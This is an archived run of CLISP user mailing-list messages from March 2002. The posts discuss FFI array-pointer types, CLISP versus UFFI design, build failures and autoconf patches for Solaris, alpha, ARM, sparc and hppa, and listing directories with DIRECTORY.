([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nP4g-0001Ri-00 for ; Tue, 19 Mar 2002 11:15:10 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 19 Mar 2002 16:56:11 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 19 Mar 2002 16:57:35 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] ffi:c-array-ptr (was: c-string vs bounded buffers) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 19 11:16:03 2002 X-Original-Date: Tue, 19 Mar 2002 16:57:22 +0100 Hi, Sam Steingold wrote: > What is c-array-ptr? Thanks for bringing this to my attention, I didn't know about it - maybe it was not in the initial FFI developed years ago. I looked at the source since I couldn't understand it otherwise just from impnotes. 1. it's something needed, since it is e.g. appropriate for the typical char*argv[]: an array of unknown length, but which is NULL, 0 or \0 terminated (depending on its element type). In other words, it allows C string style conventions for other array types. 2. I don't know why there is this shortcut instead of (the hypothetical) (c-ptr-null (c-array-ZERO-TERMINATED )) which would more fit the other FFI types. Note the c-ptr-NULL instead of just c-ptr behaviour (from peeking at the source). 2. However it's integration into CLISP seems incomplete to me. It always returns a VECTOR of element-type T, no specialized array type for characters or numbers, as the other arrays do. Therefore, C-STRING and (C-ARRAY-PTR CHARACTER) results differ. I consider this a bug, rather than a feature. There's no obvious reason (at least no documentation) for this deviation from the behaviour of the other C-ARRAY and C-ARRAY-MAX return types. (:return-type (c-array-ptr character)) -> #(#\f #\o #\o) (:return-type (c-ptr-null (c-array-max character 10))) -> "foo" (:return-type c-string) -> "foo" > why is only c-ptr acceptable as :out/:in-out? Could you please elaborate? or provide an example. > I would expect that c-ptr-null and c-array-ptr would be > acceptable too. > > can you fix this? I think I can fix the above IMHO misfeature (+/- Unicode translation) if you so wish. But you meant something else. Regards, Jorg Hohle. From samuel.steingold@verizon.net Tue Mar 19 12:41:46 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nQQS-0004x9-00 for ; Tue, 19 Mar 2002 12:41:44 -0800 Received: from gnu.org ([151.203.226.21]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020319204143.WFWT18010.out020.verizon.net@gnu.org>; Tue, 19 Mar 2002 14:41:43 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi:c-array-ptr (was: c-string vs bounded buffers) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 19 12:45:37 2002 X-Original-Date: 19 Mar 2002 15:43:21 -0500 > * In message > * On the subject of "[clisp-list] ffi:c-array-ptr (was: c-string vs bounded buffers)" > * Sent on Tue, 19 Mar 2002 16:57:22 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > > why is only c-ptr acceptable as :out/:in-out? > Could you please elaborate? or provide an example. an :OUT arg must be a c-ptr: (def-call-out foo (:arguments (bar (c-ptr-null int) :out))) does not work. > > I would expect that c-ptr-null and c-array-ptr would be > > acceptable too. > > > > can you fix this? > > I think I can fix the above IMHO misfeature (+/- Unicode translation) > if you so wish. But you meant something else. what I meant, loosely, was making sure that the CLISP FFI is better than the competition. :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Don't ascribe to malice what can be adequately explained by stupidity. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 20 02:36:06 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ndRs-0003NQ-00 for ; Wed, 20 Mar 2002 02:36:05 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 20 Mar 2002 11:25:53 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 20 Mar 2002 11:27:15 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] CLISP FFI vs UFFI: an IMHO worse is better (lost?) battle Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 02:37:05 2002 X-Original-Date: Wed, 20 Mar 2002 11:26:58 +0100 Hi, Sam wrote: > what I meant, loosely, was making sure that the CLISP FFI is better > than the competition. :-) I have currently very serious doubts about the possibility to achieve this goal. Here is what I just wrote to the UFFI mailing list. UFFI is an FFI portability layer that currnetly works with AllegroCL, LispWorks and CMUCL. http://uffi.med-info.com/manual/x91.htm -------begin quote o My greatest problem so far is that the UFFI is completely at odd with the CLISP FFI. I don't believe this can be blamed on one or the other (CLISP or UFFI). CLISP provides a sophisticated view on functions and parameter passing. It's not dissimilar to CMUCL's def-alien-routine and its :in-out parameter. (def-c-call-out gethostname (:arguments (name (c-ptr (c-array-max character #.MAXHOSTNAMELEN)) :out :alloca) (len size_t)) (:return-type int)) The name will be (nth-value (gethostname MAXHOSTNAMELEN) 1). An IDL (as in COM/CORBA) would declare something along: [out, is_size(len)] char[] name, [in] size_t len which is even more declarative and simplified. I believe CLISP can be blamed for not providing a low-level view on function signatures. By low-level I mean one where neither :out modes nor lifetime are visible in the signature. The signature would map 1:1 from C. This low-level API would be the one at which UFFI operates. The result of a direct mapping to C (not possible with CLISP) is: + straight forward conversion of C declaration to Lisp routine, without reading the manual page and knowing what goes in and what goes out. - need to convert by hand to/from Lisp to foreign style strings (the C malediction) + flexibility, since parameter protocols can be really convoluted (esp. considering lifetime of objects and strings). - not suitable for COM/CORBA style signatures without rewriting: there, :out parameters are important. So my belief is that UFFI can be blamed for not attempting to provide an abstract level of interfacing to the foreign world. It provides no more (and no less) than C level of interaction. I like to dream of a FFI-domain specific language (DSL) style of approach. That doesn't mean that UFFI cannot be successful. I suppose you all know about "worse is better". UFFI works now with 3 implementations. Abstract level FFI may remain my dream for years. Currently, I've serious doubts about whether a DSL for FFI is even possible without loss in flexibility or rather coverage of all situations (that is, the ability to cover even the weirdest parameter passing requirements, e.g. a char**name pointer to a buffer that you allocate and that the function will free at some time, but overwriting the pointer with one to another buffer on function return). That's why a C-level portable FFI that UFFI implements is valuable now! Regards, Jorg Hohle. From bleone@bcpl.net Wed Mar 20 05:07:45 2002 Received: from mail.bcpl.net ([204.255.212.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nfoe-0007OR-00 for ; Wed, 20 Mar 2002 05:07:44 -0800 Received: from bcpl.net (ppp834.bcpl.net [208.242.127.176]) by mail.bcpl.net (8.11.3/8.11.3) with ESMTP id g2KD7YP21163; Wed, 20 Mar 2002 08:07:35 -0500 (EST) Message-ID: <3C988994.5020209@bcpl.net> From: bleone@bcpl.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Building CLISP Modules on Solaris 8 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 05:08:07 2002 X-Original-Date: Wed, 20 Mar 2002 08:07:32 -0500 Greetings, I ran into a problem building CLISP from CVS (19-March-2002) on Solaris 8. The build fails when I try to build modules. I am able to build these same modules (and my own) under GNU/Linux. The gcc version is 2.95.3 and was obtained from the Sun Freeware site. Thanks ! Here are fragments from the build script and log: configure --prefix=/usr/local/CLISP \ --with-module=clx/new-clx \ --with-module=regexp \ --with-module=wildcard \ sun cd sun ./makemake \ --prefix=/usr/local/CLISP \ --with-module=clx/new-clx \ --with-module=regexp \ --with-module=wildcard \ --with-readline \ --with-gettext \ --with-dynamic-ffi > Makefile . . . make . . . uniq -u < minitests.out > minitests.output.sparcuniq -u < minitetest '!' -s minitests.output.sparc-sun-solaris2.temake: *** [check] Error 1 The file sun/avcall/minitests.output.sparc-sun-solaris2.8 contains the following: Int f(Int,Int,Int):({1},{2},{3})->{6} Int f(Int,Int,Int):({1},{2},{3})->{9} J f(J,int,J):({47,11},2,{73,55})->{120,68} J f(J,int,J):({47,11},2,{73,55})->{9,902231815} From samuel.steingold@verizon.net Wed Mar 20 06:49:07 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nhNI-0003GB-00 for ; Wed, 20 Mar 2002 06:47:36 -0800 Received: from gnu.org ([151.203.226.21]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020320144734.ZVVU16260.out002.verizon.net@gnu.org>; Wed, 20 Mar 2002 08:47:34 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP FFI vs UFFI: an IMHO worse is better (lost?) battle References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 06:50:03 2002 X-Original-Date: 20 Mar 2002 09:49:12 -0500 Hi, > * In message > * On the subject of "[clisp-list] CLISP FFI vs UFFI: an IMHO worse is better (lost?) battle" > * Sent on Wed, 20 Mar 2002 11:26:58 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam wrote: > > what I meant, loosely, was making sure that the CLISP FFI is better > > than the competition. :-) > > I have currently very serious doubts about the possibility to achieve > this goal. Here is what I just wrote to the UFFI mailing list. > UFFI is an FFI portability layer that currnetly works with AllegroCL, > LispWorks and CMUCL. http://uffi.med-info.com/manual/x91.htm If UFFI exports some high-level functionality based on the low-level implementation-specific interfaces, then you can make CLISP export a compatible functionality. If UFFI export a low-level functionality, you can use it to implement some high-level CLISP-style UUFFI (-: Unified UFFI :-) which will support CLISP and whatever UFFI supports. Additionally, you can improve CLISP FFI so suite your tastes. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't like cats! -- Come on, you just don't know how to cook them! From samuel.steingold@verizon.net Wed Mar 20 06:53:30 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nhRV-0004Ku-00 for ; Wed, 20 Mar 2002 06:51:57 -0800 Received: from gnu.org ([151.203.226.21]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020320145154.ZWME16260.out002.verizon.net@gnu.org>; Wed, 20 Mar 2002 08:51:54 -0600 To: bleone@bcpl.net Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Building CLISP Modules on Solaris 8 References: <3C988994.5020209@bcpl.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C988994.5020209@bcpl.net> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 06:54:14 2002 X-Original-Date: 20 Mar 2002 09:53:32 -0500 > * In message <3C988994.5020209@bcpl.net> > * On the subject of "[clisp-list] Building CLISP Modules on Solaris 8" > * Sent on Wed, 20 Mar 2002 08:07:32 -0500 > * Honorable bleone@bcpl.net writes: > > I ran into a problem building CLISP from CVS (19-March-2002) on if you use CLISP from CVS, you should subscribe to clisp-devel and post there. > The gcc version is 2.95.3 and was obtained from the Sun Freeware site. are you sure this is not gcc 3? > uniq -u < minitests.out > minitests.output.sparcuniq -u < minitetest > '!' -s minitests.output.sparc-sun-solaris2.temake: > *** [check] Error 1 > > The file sun/avcall/minitests.output.sparc-sun-solaris2.8 contains the > following: > > Int f(Int,Int,Int):({1},{2},{3})->{6} > Int f(Int,Int,Int):({1},{2},{3})->{9} > J f(J,int,J):({47,11},2,{73,55})->{120,68} > J f(J,int,J):({47,11},2,{73,55})->{9,902231815} I think you can ignore these FFI problems. the last command was something like cd avcall && make && make check && make install .... cut and paste removing "make check" -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Good programmers treat Microsoft products as damage and route around it. From will@misconception.org.uk Wed Mar 20 07:30:53 2002 Received: from mail12.svr.pol.co.uk ([195.92.193.215]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ni3A-0004TN-00 for ; Wed, 20 Mar 2002 07:30:52 -0800 Received: from modem-1123.articuno.dialup.pol.co.uk ([217.135.30.99] helo=there) by mail12.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16ni37-0005tT-00 for clisp-list@lists.sourceforge.net; Wed, 20 Mar 2002 15:30:50 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Build fix for alpha Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 07:31:11 2002 X-Original-Date: Wed, 20 Mar 2002 15:32:04 +0000 This patch should fix the build on certain alphas. I don't have one to test, but it looks correct. --- clisp-2.28/src/autoconf/aclocal.m4.old Wed Mar 20 15:28:40 2002 +++ clisp-2.28/src/autoconf/aclocal.m4 Wed Mar 20 15:29:07 2002 @@ -748,7 +748,7 @@ i[4567]86 ) host_cpu=i386 ;; - alphaev[4-7] | alphaev56 | alphapca5[67] ) + alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] ) host_cpu=alpha ;; hppa1.0 | hppa1.1 | hppa2.0 ) From will@misconception.org.uk Wed Mar 20 17:06:55 2002 Received: from mail4.svr.pol.co.uk ([195.92.193.211]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nr2c-0006vM-00 for ; Wed, 20 Mar 2002 17:06:54 -0800 Received: from modem-537.beedrill.dialup.pol.co.uk ([217.135.34.25] helo=there) by mail4.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16nr2a-0006qd-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 01:06:52 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] avcall on hppa Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 17:08:27 2002 X-Original-Date: Thu, 21 Mar 2002 01:07:57 +0000 I was looking through the avcall source code looking for a Sparc build problem when I saw this in avcall.h.in: #if defined(__hppa__) && defined(__GNUC__) && (__GNUC_MINOR__ < 7) __AV_OLDGCC_STRUCT_RETURN | #endif I'm almost certain this is wrong. __GNUC_MINOR__ is the minor version of GCC, so with 3.0.4 it is 0. Is this a correct analysis? From will@misconception.org.uk Wed Mar 20 19:45:06 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ntVi-00052f-00 for ; Wed, 20 Mar 2002 19:45:06 -0800 Received: from modem-862.awesome.dialup.pol.co.uk ([62.25.131.94] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16ntVf-0003nS-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 03:45:04 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] avcall on sparc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 20 19:46:03 2002 X-Original-Date: Thu, 21 Mar 2002 03:46:18 +0000 I am seeing a problem building on sparc with gcc (Solaris and Linux). avcall fails it's structure tests, but I believe I have found a solution. When compiling with -O2 or better, the configure test for pcc non-reentrant struct return convention is optimized away and always returns true. This causes avcall to believe it can use PCC but it cannot - and so bad things happen. I have attached a patch I believe fixes the issue, by clearing CFLAGS before running the test: --- aclocal.m4.old Thu Mar 21 03:10:02 2002 +++ aclocal.m4 Thu Mar 21 03:11:43 2002 @@ -838,6 +838,8 @@ dnl AC_DEFUN(CL_PCC_STRUCT_RETURN, [AC_CACHE_CHECK([for pcc non-reentrant struct return convention], cl_cv_c_struct_return_static, [ +save_CFLAGS="$CFLAGS" +CFLAGS="" AC_TRY_RUN([typedef struct { int a; int b; int c; int d; int e; } foo; foo foofun () { static foo foopi = {3141,5926,5358,9793,2385}; return foopi; } foo* (*fun) () = (foo* (*) ()) foofun; @@ -854,6 +856,7 @@ dnl When cross-compiling, don't assume anything. dnl There are even weirder return value passing conventions than pcc. cl_cv_c_struct_return_static="guessing no") +CFLAGS="$save_CFLAGS" ]) case "$cl_cv_c_struct_return_static" in *yes) AC_DEFINE(__PCC_STRUCT_RETURN__) ;; From amoroso@mclink.it Thu Mar 21 00:58:26 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nyOu-0000Kv-00 for ; Thu, 21 Mar 2002 00:58:24 -0800 Received: from net145-118.mclink.it (net145-118.mclink.it [195.110.145.118]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id g2L8wIg15739 for ; Thu, 21 Mar 2002 09:58:18 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Organization: Paolo Amoroso - Milan, ITALY Message-ID: <=p2ZPDiUhuUJrAQZ=7rkHvTOatqB@4ax.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Enumerating directories and files Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 00:59:03 2002 X-Original-Date: Thu, 21 Mar 2002 09:58:19 +0100 I would like to enumerate the directories and files in a given directory under Linux. The only way I have found of doing this with CLISP is by using readdir() & friends via the Linux bindings. Is this correct? Are there other ways of doing this? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 21 02:32:27 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nzrt-0000HS-00 for ; Thu, 21 Mar 2002 02:32:26 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 11:17:46 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 21 Mar 2002 11:19:12 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] avcall on hppa MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 02:33:02 2002 X-Original-Date: Thu, 21 Mar 2002 11:18:53 +0100 Will Newton wrote: > problem when I saw this in avcall.h.in: > #if defined(__hppa__) && defined(__GNUC__) && (__GNUC_MINOR__ < 7) > __AV_OLDGCC_STRUCT_RETURN | > #endif >=20 > I'm almost certain this is wrong. __GNUC_MINOR__ is the minor=20 > version of GCC, so with 3.0.4 it is 0. This code was written at a time when gcc-2.5.8, 2.6.x and 2.7.2 were in = common use (gcc-2.7.0/1 were somewhat buggy IIRC). I don't know what a good checking heuristic would be. Maybe drop the = GNUC_MINOR check completely and hope old, once solved bugs don't = reappear in gcc-3.x.y. Sometimes in history, simplification does = wonders. Regards, J=F6rg H=F6hle From Joerg-Cyril.Hoehle@t-systems.com Thu Mar 21 02:37:06 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16nzwO-0000lr-00 for ; Thu, 21 Mar 2002 02:37:05 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 11:22:42 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 21 Mar 2002 11:24:08 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] Enumerating directories and files MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 02:38:03 2002 X-Original-Date: Thu, 21 Mar 2002 11:23:50 +0100 Paolo Amoroso wrote: > I would like to enumerate the directories and files in a > given directory under Linux. (directory "*" :full t) and (directory "*/") You need two calls to get both files and directories with CLISP. DIRECTORY is Common Lisp standard Regards, Jorg Hohle. From will@misconception.org.uk Thu Mar 21 04:18:52 2002 Received: from mail1.svr.pol.co.uk ([195.92.193.18]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o1Wt-0002hx-00 for ; Thu, 21 Mar 2002 04:18:51 -0800 Received: from modem-352.barrelled.dialup.pol.co.uk ([62.25.141.96] helo=there) by mail1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o1Wr-00066n-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 12:18:49 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on hppa X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 04:19:02 2002 X-Original-Date: Thu, 21 Mar 2002 12:20:04 +0000 On Thursday 21 Mar 2002 10:18 am, you wrote: > I don't know what a good checking heuristic would be. Maybe drop the > GNUC_MINOR check completely and hope old, once solved bugs don't reappear > in gcc-3.x.y. Sometimes in history, simplification does wonders. This might work: #if defined(__hppa__) && defined(__GNUC__) && (__GNUC__MAJOR__ < 3) && (__GNUC_MINOR__ < 7) __AV_OLDGCC_STRUCT_RETURN | #endif From will@misconception.org.uk Thu Mar 21 05:24:12 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o2Y7-0004at-00 for ; Thu, 21 Mar 2002 05:24:11 -0800 Received: from modem-352.barrelled.dialup.pol.co.uk ([62.25.141.96] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16o2Y5-0005xi-00 for clisp-list@lists.sourceforge.net; Thu, 21 Mar 2002 13:24:09 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Build fix for arm Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 21 05:25:02 2002 X-Original-Date: Thu, 21 Mar 2002 13:24:48 +0000 I believe this fixes a problem I have seen reported building on ARM. Again, untested, but looks correct. --- aclocal.m4.old Thu Mar 21 13:12:36 2002 +++ aclocal.m4 Thu Mar 21 13:15:45 2002 @@ -700,6 +700,9 @@ c1 | c2 | c32 | c34 | c38 | c4 ) host_cpu=convex ;; + arm* ) + host_cpu=arm + ;; changequote([,])dnl mips ) AC_CACHE_CHECK([for 64-bit MIPS], cl_cv_host_mips64, [ @@ -759,6 +762,9 @@ ;; c1 | c2 | c32 | c34 | c38 | c4 ) host_cpu=convex + ;; + arm* ) + host_cpu=arm ;; changequote([,])dnl mips ) From samuel.steingold@verizon.net Thu Mar 21 07:24:05 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16o4Q5-0004EH-00 for ; Thu, 21 Mar 2002 07:24:01 -0800 Received: from gnu.org ([151.203.226.21]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020321152324.GSTU23097.out005.verizon.net@gnu.org>; Thu, 21 Mar 2002 09:23:24 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] avcall on hppa References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: 